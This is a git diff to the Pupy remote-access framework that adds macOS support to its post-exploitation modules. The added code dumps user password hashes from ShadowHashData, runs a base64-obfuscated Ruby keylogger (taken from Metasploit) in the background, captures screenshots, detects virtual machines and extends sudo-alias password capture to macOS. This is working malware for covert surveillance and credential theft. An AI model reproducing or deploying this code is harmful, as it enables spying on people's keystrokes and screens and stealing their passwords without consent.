diff --git a/pupy/modules/check_vm.py b/pupy/modules/check_vm.py index bc502389..294483d6 100644 --- a/pupy/modules/check_vm.py +++ b/pupy/modules/check_vm.py @@ -6,7 +6,7 @@ from modules.lib.windows.powershell_upload import execute_powershell_script __class_name__="CheckVM" ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..")) -@config(compat=['linux', 'windows'], category="gather") +@config(category="gather") class CheckVM(PupyModule): """ check if running on Virtual Machine """ @@ -29,3 +29,12 @@ class CheckVM(PupyModule): self.success('This appears to be a %s virtual machine' % vm) else: self.success('This does not appear to be a virtual machine') + elif self.client.is_darwin(): + self.client.load_package("checkvm") + self.info('Be patient, could take a while') + vm = self.client.conn.modules["checkvm"].checkvm() + if vm: + self.success('This appears to be a %s virtual machine' % vm) + else: + self.success('This does not appear to be a virtual machine') + diff --git a/pupy/modules/creddump.py b/pupy/modules/creddump.py index 5b489bbb..4221159e 100644 --- a/pupy/modules/creddump.py +++ b/pupy/modules/creddump.py @@ -34,7 +34,7 @@ from modules.lib.windows.creddump.win32.lsasecrets import get_file_secrets __class_name__="CredDump" -@config(cat="creds", compatibilities=['windows', 'linux'], tags=['creds', +@config(cat="creds", compatibilities=['windows', 'linux', 'darwin'], tags=['creds', 'credentials', 'password', 'gather', 'hives']) class CredDump(PupyModule): @@ -52,8 +52,25 @@ class CredDump(PupyModule): if self.client.is_windows(): self.windows() - else: + elif self.client.is_linux(): self.linux() + elif self.client.is_darwin(): + self.darwin() + + def darwin(self): + self.client.load_package("hashdump") + hashes = self.client.conn.modules["hashdump"].hashdump() + if hashes: + db = Credentials() + db.add([ + {'Hash':hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes + ]) + for hsh in hashes: + self.log('{}'.format(hsh)) + + self.success("Hashes stored on the database") + else: + self.error('no hashes found') def linux(self): known = set() @@ -123,6 +140,8 @@ class CredDump(PupyModule): for hsh in hashes: self.log('{}'.format(hsh)) + + self.success("Hashes stored on the database") def windows(self): # First, we download the hives... diff --git a/pupy/modules/drives.py b/pupy/modules/drives.py index 57ab0231..0771e7aa 100644 --- a/pupy/modules/drives.py +++ b/pupy/modules/drives.py @@ -1,10 +1,11 @@ # -*- coding: utf-8 -*- from pupylib.PupyModule import * from pupylib.utils.term import colorize +from modules.lib.utils.shell_exec import shell_exec __class_name__="Drives" -@config(compat=[ 'linux', 'windows' ], category='admin') +@config(category='admin') class Drives(PupyModule): """ List valid drives in the system """ @@ -158,3 +159,6 @@ class Drives(PupyModule): output.append('') self.stdout.write('\n'.join(output)) + + elif self.client.is_darwin(): + self.log(shell_exec(self.client, 'df -H')) \ No newline at end of file diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py index 62e80d48..ebbff788 100644 --- a/pupy/modules/keylogger.py +++ b/pupy/modules/keylogger.py @@ -14,7 +14,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="KeyloggerModule" -@config(cat="gather", compat=["linux", "windows"]) +@config(cat="gather", compat=["linux", "darwin", "windows"]) class KeyloggerModule(PupyModule): """ A keylogger to monitor all keyboards interaction including the clipboard :-) @@ -43,8 +43,8 @@ class KeyloggerModule(PupyModule): self.error("the keylogger is already started") else: self.success("keylogger started !") - # not tested on android - else: + + elif self.client.is_linux(): with redirected_stdio(self.client.conn): #to see the output exception in case of error r = self.client.conn.modules["keylogger"].keylogger_start() if r == 'no_x11': @@ -54,6 +54,16 @@ class KeyloggerModule(PupyModule): else: self.success("keylogger started !") + # for Mac OS + elif self.client.is_darwin(): + r = self.client.conn.modules["keylogger"].keylogger_start() + if r == 'running': + self.error("the keylogger is already started") + elif not r: + self.error("the keylogger cannot be launched") + else: + self.success("keylogger started !") + elif args.action=="dump": try: os.makedirs(os.path.join("data","keystrokes")) @@ -62,8 +72,10 @@ class KeyloggerModule(PupyModule): if self.client.is_windows(): data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump() - else: + elif self.client.is_linux(): data=self.client.conn.modules["keylogger"].keylogger_dump() + elif self.client.is_darwin(): + data=self.client.conn.modules["keylogger"].keylogger_dump() if data is None: self.error("keylogger not started") @@ -79,7 +91,9 @@ class KeyloggerModule(PupyModule): elif args.action=="stop": if self.client.is_windows(): stop = self.client.conn.modules["pupwinutils.keylogger"].keylogger_stop() - else: + elif self.client.is_linux(): + stop = self.client.conn.modules["keylogger"].keylogger_stop() + elif self.client.is_darwin(): stop = self.client.conn.modules["keylogger"].keylogger_stop() if stop: diff --git a/pupy/modules/lock_screen.py b/pupy/modules/lock_screen.py index c6198db5..80f83f8f 100644 --- a/pupy/modules/lock_screen.py +++ b/pupy/modules/lock_screen.py @@ -1,9 +1,10 @@ # -*- coding: UTF8 -*- from pupylib.PupyModule import * +import subprocess __class_name__="PupyMod" -@config(compat="windows", cat="manage", tags=["lock", "screen", "session"]) +@config(compat=["windows", "darwin"], cat="manage", tags=["lock", "screen", "session"]) class PupyMod(PupyModule): """ Lock the session """ @@ -11,8 +12,13 @@ class PupyMod(PupyModule): self.arg_parser = PupyArgumentParser(prog="lock_screen", description=self.__doc__) def run(self, args): - if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation(): + ok = False + if self.client.is_windows(): + ok = self.client.conn.modules['ctypes'].windll.user32.LockWorkStation() + elif self.client.is_darwin(): + ok = self.client.conn.modules.subprocess.Popen('/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) + + if ok: self.success("windows locked") else: self.error("couldn't lock the screen") - diff --git a/pupy/modules/msgbox.py b/pupy/modules/msgbox.py index be0ee13d..b63af3b2 100644 --- a/pupy/modules/msgbox.py +++ b/pupy/modules/msgbox.py @@ -3,7 +3,7 @@ from pupylib.PupyModule import * __class_name__="MsgBoxPopup" -@config(compat=["windows", "linux"], cat="troll", tags=["message","popup"]) +@config(cat="troll", tags=["message","popup"]) class MsgBoxPopup(PupyModule): """ Pop up a custom message box """ dependencies = { @@ -19,7 +19,10 @@ class MsgBoxPopup(PupyModule): def run(self, args): if self.client.is_windows(): self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title) - else: + elif self.client.is_linux(): self.client.conn.modules['notify'].notification(args.text, args.title) + elif self.client.is_darwin(): + cmd = 'osascript -e \'tell app "Finder" to display dialog "%s"\'' % args.text + self.client.conn.modules.os.popen(cmd) self.log("message box popped !") diff --git a/pupy/modules/psexec.py b/pupy/modules/psexec.py index 70c94e55..d95ee95a 100644 --- a/pupy/modules/psexec.py +++ b/pupy/modules/psexec.py @@ -18,7 +18,7 @@ import ntpath __class_name__="PSExec" -@config(cat="admin",compat=["linux", "windows"]) +@config(cat="admin") class PSExec(PupyModule): """ Launch remote commands using smbexec or wmiexec""" max_clients=1 diff --git a/pupy/modules/screenshot.py b/pupy/modules/screenshot.py index a959347c..1a3055e2 100644 --- a/pupy/modules/screenshot.py +++ b/pupy/modules/screenshot.py @@ -1,46 +1,51 @@ -# -*- coding: UTF8 -*- +# -*- coding: utf-8 -*- # -------------------------------------------------------------- -# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE # -------------------------------------------------------------- from pupylib.PupyModule import * -import os -import os.path -import textwrap -import logging +from os import path + +import time import datetime -from zlib import compress, crc32 -import struct import subprocess -__class_name__="Screenshoter" - -def pil_save(filename, pixels, width, height): - from PIL import Image, ImageFile - buffer_len = (width * 3 + 3) & -4 - img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1) - ImageFile.MAXBLOCK = width * height - img=img.transpose(Image.FLIP_TOP_BOTTOM) - img.save(filename, quality=95, optimize=True, progressive=True) - logging.info('Screenshot saved to %s'%filename) +__class_name__="screenshoter" -@config(cat="gather", compat="windows") -class Screenshoter(PupyModule): +@config(cat="gather") +class screenshoter(PupyModule): """ take a screenshot :) """ + dependencies = ['mss', 'screenshot'] + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__) self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen') @@ -48,29 +53,33 @@ class Screenshoter(PupyModule): self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview') def run(self, args): - try: - os.makedirs(os.path.join("data","screenshots")) - except Exception: - pass - self.client.load_package("pupwinutils.screenshot") - screens=None - if args.screen is None: - screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True) - else: - screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors() + rscreenshot = self.client.conn.modules['screenshot'] if args.enum: - res="" - for i, screen in enumerate(screens): - res+="{:<3}: {}\n".format(i,screen) - return res - if args.screen is None: - args.screen=0 - selected_screen=screens[args.screen] - screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen) - filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg") - pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"]) - if args.view: - subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath]) - self.success("screenshot saved to %s"%filepath) + self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT')) + for i, screen in enumerate(rscreenshot.screens()): + if not (screen['width'] and screen['height']): + continue + self.rawlog('{:>2}: {:>9} {:>9}\n'.format( + i, + '{}x{}'.format(screen['width'], screen['height']), + '({}x{})'.format(screen['top'], screen['left']))) + return + screenshots, error = rscreenshot.screenshot(args.screen) + if not screenshots: + self.error(error) + else: + self.success('number of monitor detected: %s' % str(len(screenshots))) + + for screenshot in screenshots: + filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png") + with open(filepath, 'w') as out: + out.write(screenshot) + # sleep used to be sure the file name will be different between 2 differents screenshots + time.sleep(1) + self.success(filepath) + + # if args.view: + # viewer = config.get('default_viewers', 'image_viewer') + # subprocess.Popen([viewer, output]) diff --git a/pupy/modules/shell_exec.py b/pupy/modules/shell_exec.py index 2ffcd3e4..b966dabb 100644 --- a/pupy/modules/shell_exec.py +++ b/pupy/modules/shell_exec.py @@ -10,12 +10,14 @@ __class_name__="ShellExec" @config(cat="admin") class ShellExec(PupyModule): """ execute shell commands on a remote system """ + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__) self.arg_parser.add_argument('-s', '--shell', help="default to /bin/sh on linux or cmd.exe on windows") self.arg_parser.add_argument('argument', help='use unix like syntax and put simple quotes if there is multiple arguments') self.arg_parser.add_argument('-H', '--hide', action='store_true', help='launch process on background (only for windows)') self.arg_parser.add_argument('-log', help='Save log to file (when not background process)') + def run(self, args): if not args.hide: log = shell_exec(self.client, args.argument, shell=args.shell) @@ -23,7 +25,7 @@ class ShellExec(PupyModule): if args.log: with open(args.log, 'wb') as output: output.write(log) - else: + elif args.hide and self.client.is_windows(): try: self.client.load_package("psutil") self.client.load_package("pupwinutils.processes") @@ -32,3 +34,5 @@ class ShellExec(PupyModule): self.success("Process created with pid %s" % p.pid) except Exception, e: self.error("Error creating the process: %s" % e) + else: + self.error('--hide option works only for Windows hosts') diff --git a/pupy/modules/ssh.py b/pupy/modules/ssh.py index 8c6b2c5b..9a0be512 100644 --- a/pupy/modules/ssh.py +++ b/pupy/modules/ssh.py @@ -4,7 +4,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="SSH" -@config(compat=['linux', 'windows'], cat="admin") +@config(cat="admin") class SSH(PupyModule): """ ssh client """ diff --git a/pupy/modules/sudo_alias.py b/pupy/modules/sudo_alias.py index 83b301ef..89e8ec3e 100644 --- a/pupy/modules/sudo_alias.py +++ b/pupy/modules/sudo_alias.py @@ -4,7 +4,7 @@ from pupylib.utils.credentials import Credentials __class_name__="SudoAlias" -@config(compat='linux', cat="admin") +@config(compat=['linux', 'darwin'], cat="admin") class SudoAlias(PupyModule): """ write an alias for sudo to retrieve user password """ diff --git a/pupy/packages/all/screenshot.py b/pupy/packages/all/screenshot.py new file mode 100644 index 00000000..f536c878 --- /dev/null +++ b/pupy/packages/all/screenshot.py @@ -0,0 +1,69 @@ +# -*- coding: utf-8 -*- +import mss +import struct + +from zlib import compress, crc32 + +def _to_png(data, width, height): + + # From MSS + line = width * 3 + png_filter = struct.pack('>B', 0) + scanlines = b''.join( + [png_filter + data[y * line:y * line + line] for y in range(height)] + ) + magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10) + + # Header: size, marker, data, CRC32 + ihdr = [b'', b'IHDR', b'', b''] + ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0) + ihdr[3] = struct.pack('>I', crc32(b''.join(ihdr[1:3])) & 0xffffffff) + ihdr[0] = struct.pack('>I', len(ihdr[2])) + + # Data: size, marker, data, CRC32 + idat = [b'', b'IDAT', compress(scanlines), b''] + idat[3] = struct.pack('>I', crc32(b''.join(idat[1:3])) & 0xffffffff) + idat[0] = struct.pack('>I', len(idat[2])) + + # Footer: size, marker, None, CRC32 + iend = [b'', b'IEND', b'', b''] + iend[3] = struct.pack('>I', crc32(iend[1]) & 0xffffffff) + iend[0] = struct.pack('>I', len(iend[2])) + + return b''.join([ + magic, + b''.join(ihdr), + b''.join(idat), + b''.join(iend) + ]) + +def screens(): + screenshoter = mss.mss() + monitors = screenshoter.enum_display_monitors() + return monitors[1:] if len(monitors) > 1 else monitors + +def screenshot(screen=None): + screenshoter = mss.mss() + screenshots = [] + + monitors = screenshoter.enum_display_monitors() + del monitors[0] + + if len(monitors) == 0: + return None + + if screen: + if screen < len(monitors): + return None, 'the screen id does not exist' + else: + monitors = [monitors[screen]] + + for monitor in monitors: + screenshots.append( + _to_png( + screenshoter.get_pixels(monitor), + monitor['width'], monitor['height'] + ) + ) + + return screenshots, None diff --git a/pupy/packages/darwin/checkvm.py b/pupy/packages/darwin/checkvm.py new file mode 100644 index 00000000..89a6474f --- /dev/null +++ b/pupy/packages/darwin/checkvm.py @@ -0,0 +1,23 @@ +import subprocess +import os + +def checkvm(): + # check existing dir + dirs = [ + '~/Library/Logs/VMWare', + '~/Library/Logs/VMWare Fusion/' + ] + + for d in dirs: + if os.path.isdir(os.path.expanduser(d)): + return 'VMWare' + + p = subprocess.Popen('system_profiler', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) + output, err = p.communicate() + if output: + if 'VMWare' in output: + return 'VMWare' + elif 'VirtualBox' in output: + return 'VirtualBox' + + return None \ No newline at end of file diff --git a/pupy/packages/darwin/hashdump.py b/pupy/packages/darwin/hashdump.py new file mode 100644 index 00000000..be579dc1 --- /dev/null +++ b/pupy/packages/darwin/hashdump.py @@ -0,0 +1,31 @@ +# Inspired from https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/hashdump.py +import os +import base64 +from xml.etree import ElementTree + +def getUserHash(userName): + try: + raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read() + if len(raw) > 100: + root = ElementTree.fromstring(raw) + children = root[0][1].getchildren() + entropy64 = ''.join(children[1].text.split()) + iterations = children[3].text + salt64 = ''.join(children[5].text.split()) + entropyRaw = base64.b64decode(entropy64) + entropyHex = entropyRaw.encode("hex") + saltRaw = base64.b64decode(salt64) + saltHex = saltRaw.encode("hex") + return (userName, "$ml$%s$%s$%s" %(iterations, saltHex, entropyHex)) + except Exception as e: + print "getUserHash() exception: %s" %(e) + pass + +def hashdump(): + userNames = [ plist.split(".")[0] for plist in os.listdir('/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')] + userHashes = [] + for userName in userNames: + userHash = getUserHash(userName) + if userHash: + userHashes.append(getUserHash(userName)) + return userHashes \ No newline at end of file diff --git a/pupy/packages/darwin/keylogger.py b/pupy/packages/darwin/keylogger.py new file mode 100644 index 00000000..25966285 --- /dev/null +++ b/pupy/packages/darwin/keylogger.py @@ -0,0 +1,192 @@ +import os +import time +import base64 +import subprocess +import string +import random + +pid = int() +logFile = '' + +# ruby code from metasploit +# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb +def get_ruby_code(): + return ''' + require 'thread' + require 'dl' + require 'dl/import' + Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end + def ruby_1_9_or_higher? + RUBY_VERSION.to_f >= 1.9 + end + def malloc(size) + if ruby_1_9_or_higher? + DL::CPtr.malloc(size) + else + DL::malloc(size) + end + end + if not ruby_1_9_or_higher? + module DL + module Importable + def method_missing(meth, *args, &block) + str = meth.to_s + lower = str[0,1].downcase + str[1..-1] + if self.respond_to? lower + self.send lower, *args + else + super + end + end + end + end + end + SM_KCHR_CACHE = 38 + SM_CURRENT_SCRIPT = -2 + MAX_APP_NAME = 80 + module Carbon + extend Importer + dlload '/System/Library/Frameworks/Carbon.framework/Carbon' + extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)' + extern 'void GetFrontProcess(ProcessSerialNumber *)' + extern 'void GetKeys(void *)' + extern 'unsigned char *GetScriptVariable(int, int)' + extern 'unsigned char KeyTranslate(void *, int, void *)' + extern 'unsigned char CFStringGetCString(void *, void *, int, int)' + extern 'int CFStringGetLength(void *)' + end + psn = malloc(16) + name = malloc(16) + name_cstr = malloc(MAX_APP_NAME) + keymap = malloc(16) + state = malloc(8) + itv_start = Time.now.to_i + prev_down = Hash.new(false) + lastWindow = "" + while (true) do + Carbon.GetFrontProcess(psn.ref) + Carbon.CopyProcessName(psn.ref, name.ref) + Carbon.GetKeys(keymap) + str_len = Carbon.CFStringGetLength(name) + copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0 + app_name = if copied then name_cstr.to_s else 'Unknown' end + bytes = keymap.to_str + cap_flag = false + ascii = 0 + ctrlchar = "" + (0...128).each do |k| + if ((bytes[k>>3].ord >> (k&7)) & 1 > 0) + if not prev_down[k] + case k + when 36 + ctrlchar = "[enter]" + when 48 + ctrlchar = "[tab]" + when 49 + ctrlchar = " " + when 51 + ctrlchar = "[delete]" + when 53 + ctrlchar = "[esc]" + when 55 + ctrlchar = "[cmd]" + when 56 + ctrlchar = "[shift]" + when 57 + ctrlchar = "[caps]" + when 58 + ctrlchar = "[option]" + when 59 + ctrlchar = "[ctrl]" + when 63 + ctrlchar = "[fn]" + else + ctrlchar = "" + end + if ctrlchar == "" and ascii == 0 + kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT) + curr_ascii = Carbon.KeyTranslate(kchr, k, state) + curr_ascii = curr_ascii >> 16 if curr_ascii < 1 + prev_down[k] = true + if curr_ascii == 0 + cap_flag = true + else + ascii = curr_ascii + end + elsif ctrlchar != "" + prev_down[k] = true + end + end + else + prev_down[k] = false + end + end + if ascii != 0 or ctrlchar != "" + if app_name != lastWindow + puts "\n\n[#{app_name}] - [#{Time.now}]\n" + lastWindow = app_name + end + if ctrlchar != "" + print "#{ctrlchar}" + elsif ascii > 32 and ascii < 127 + c = if cap_flag then ascii.chr.upcase else ascii.chr end + print "#{c}" + else + print "[#{ascii}]" + end + $stdout.flush + end + Kernel.sleep(0.01) + end''' + +def keylogger_start(): + global pid + global logFile + + if logFile: + if os.path.exists(logFile): + return 'running' + + base64_ruby_code = base64.b64encode(get_ruby_code()) + + randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))]) + logFile = '/tmp/{name}'.format(name=randname) + cmd = 'echo "require \'base64\';eval(Base64.decode64(\'%s\'))" | ruby > %s &' % (base64_ruby_code, logFile) + os.popen(cmd) + time.sleep(1) + + # get process id + try: + pid = os.popen('ps aux | grep " ruby" | grep -v grep').read().split()[1] + except: + pass + + print logFile + print pid + return True + +def keylogger_stop(): + global logFile + + # remove log file + if os.path.exists(logFile): + # kill keylogger process + cmd = 'kill %s' % str(pid) + subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + + os.remove(logFile) + logFile = '' + return True + else: + return False + +def keylogger_dump(): + if not os.path.exists(logFile): + return None + + buffer = open(logFile, 'r').read() + + # clean file + file = open(logFile, 'w').write('') + + return buffer \ No newline at end of file diff --git a/pupy/packages/darwin/ptyshell.py b/pupy/packages/darwin/ptyshell.py new file mode 120000 index 00000000..01b6fd58 --- /dev/null +++ b/pupy/packages/darwin/ptyshell.py @@ -0,0 +1 @@ +../linux/all/ptyshell.py \ No newline at end of file diff --git a/pupy/packages/darwin/sudo_alias.py b/pupy/packages/darwin/sudo_alias.py new file mode 120000 index 00000000..5efe3f49 --- /dev/null +++ b/pupy/packages/darwin/sudo_alias.py @@ -0,0 +1 @@ +../linux/all/sudo_alias.py \ No newline at end of file diff --git a/pupy/pupylib/utils/credentials.py b/pupy/pupylib/utils/credentials.py index 11125c19..fb206701 100644 --- a/pupy/pupylib/utils/credentials.py +++ b/pupy/pupylib/utils/credentials.py @@ -109,7 +109,7 @@ class Credentials(object): break # print only data with password and remove false positive - if c['password'] and len(c['password']) < 150: + if c['password']: if (dataToSearch and found) or not dataToSearch: if (tmp_uid != c['uid']) and isSorted: tmp_uid = c['uid'] diff --git a/requirements.txt b/requirements.txt index 56f98558..ff349728 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,9 +2,9 @@ rpyc pycrypto pefile pyyaml -image rsa netaddr ecdsa==0.13 paramiko==2.0.2 netifaces +mss \ No newline at end of file